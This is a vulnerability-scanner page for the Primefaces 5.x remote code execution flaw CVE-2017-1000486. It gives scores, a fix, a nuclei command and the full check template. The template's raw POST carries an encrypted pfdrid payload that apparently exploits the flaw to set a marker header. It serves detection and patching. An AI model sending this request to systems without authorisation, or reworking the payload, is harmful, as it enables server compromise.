Primetek Primefaces 5.x - Remote Code Execution

Exploited in the wild. Listed by CISA on 2022-01-10; known to be used by ransomware.

criticalseverity

9.8CVSS score

94.1%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Primetek Primefaces 5.x is vulnerable to a weak encryption flaw resulting in remote code execution.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Apply the latest security patches or upgrade to a newer version of the Primetek Primefaces application.

How to confirm it

Send: POST /javax.faces.resource/dynamiccontent.properties.xhtml
Positive when: contains in header "Mogwailabs: CHECKCHECK"

Run it with nuclei: nuclei -id CVE-2017-1000486 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2017-1000486

info:
  name: Primetek Primefaces 5.x - Remote Code Execution
  author: Moritz Nentwig
  severity: critical
  description: Primetek Primefaces 5.x is vulnerable to a weak encryption flaw resulting in remote code execution.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or upgrade to a newer version of the Primetek Primefaces application.
  reference:
    - https://github.com/mogwailabs/CVE-2017-1000486
    - https://github.com/pimps/CVE-2017-1000486
    - https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-1000486
    - https://cryptosense.com/weak-encryption-flaw-in-primefaces/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-1000486
    cwe-id: CWE-326
    epss-score: 0.94104
    epss-percentile: 0.99848
    cpe: cpe:2.3:a:primetek:primefaces:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: primetek
    product: primefaces
  tags: cve2017,cve,primetek,rce,injection,kev,vkev,vuln

http:
  - raw:
      - |
        POST /javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded
        Accept-Encoding: gzip, deflate

        pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVbBkVHj5xLXXCaFGpOHe704aOkNwaB12Cc3Iq6NmBo%2BQZuqhqtPxdTA%3D%3D

    matchers:
      - type: word
        part: header
        words:
          - 'Mogwailabs: CHECKCHECK'

References

Use this check only on systems you are authorised to test. Where the data comes from